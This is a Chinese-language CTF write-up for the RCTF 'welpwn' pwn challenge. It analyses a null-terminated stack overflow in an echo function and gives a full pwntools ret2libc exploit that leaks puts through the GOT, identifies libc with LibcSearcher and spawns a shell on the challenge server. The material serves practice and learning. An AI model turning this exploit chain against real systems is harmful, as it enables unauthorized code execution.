echo函数中有明显的栈溢出:
void echo(char *buf)
{
int iVar1;
char local_18 [16];
for (i = 0; buf[i] != '\0'; i += 1) {
local_18[i] = buf[i];
}
local_18[i] = '\0';
iVar1 = strcmp("ROIS",local_18);
if (iVar1 == 0) {
printf("RCTF{Welcome}");
puts(" is not flag");
}
printf("%s",local_18);
return;
}
本地的buf复制时未做边界检查,但这里和通常的栈溢出算偏移量再做ROP有差异,也是这道题最巧妙的地方,进入echo函数时的所有输入已经留在上一个函数栈帧中了,然而buf的复制给了覆盖返回地址的手段,先放出做ROP时栈的分布,然后解释原因:
在echo函数中的原本的输入是从返回地址之后的位置开始的,填充一些后可以覆盖返回地址,buf复制中止的条件是读到'\0'字节,用ropper或ROPgadget找到的gadget地址高位字节均为'\0':
复制的字节将在遇到第一个gadget时停止,此时gadget低位地址仍会被复制,于是写真正的ROP链需要将这些用于填充的无用字节从栈中剔除出去,很自然的联想到用多个pop来处理,用于pop多余字节的gadget也需要从栈中剔除,所以有了第一张图中的ROP链设计。
剩下的就是ret2libc环节了,看了别人的WP最后也用了Libcsearcher这一工具,可以在libc信息未知的情况下根据got表中库函数的地址推测libc的版本并给出函数或字符串在libc中的偏移量,写exp:
from pwn import *
from LibcSearcher import *
context(log_level="debug", arch="amd64", os="linux")
# r = process("./welpwn")
r = remote("111.200.241.244", 62161)
elf = ELF("./welpwn")
pop_4 = 0x40089c
pop_rdi = 0x4008a3
junk = cyclic(24) + p64(pop_4)
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
payload1 = junk + rop.chain()
r.recvuntil("Welcome to RCTF\n")
r.send(payload1)
r.recvuntil("Welcome to RCTF\n")
puts = u64(r.recv()[-7:-1] + b"\x00\x00")
log.debug("puts:" + hex(puts))
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
bin_sh = libc.dump("str_bin_sh") + libc_base
payload2 = junk + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()
# 0x000000000040089c: pop r12; pop r13; pop r14; pop r15; ret;
# 0x00000000004008a3: pop rdi; ret;
比较奇怪的是IO,main中的"Welcome to RCTF\n"会先于ROP链中的puts(elf.got['puts'])打印出来,这大概率和write和printf的缓冲区输出相关,但我在本地调试时打印顺序是符合ROP链的,而且本地的libc没有与Libcsearcher云上存的Libc库匹配,这可能是因为本地的libc版本过新的原因,以后还是尽量调试pwninit后的elf文件。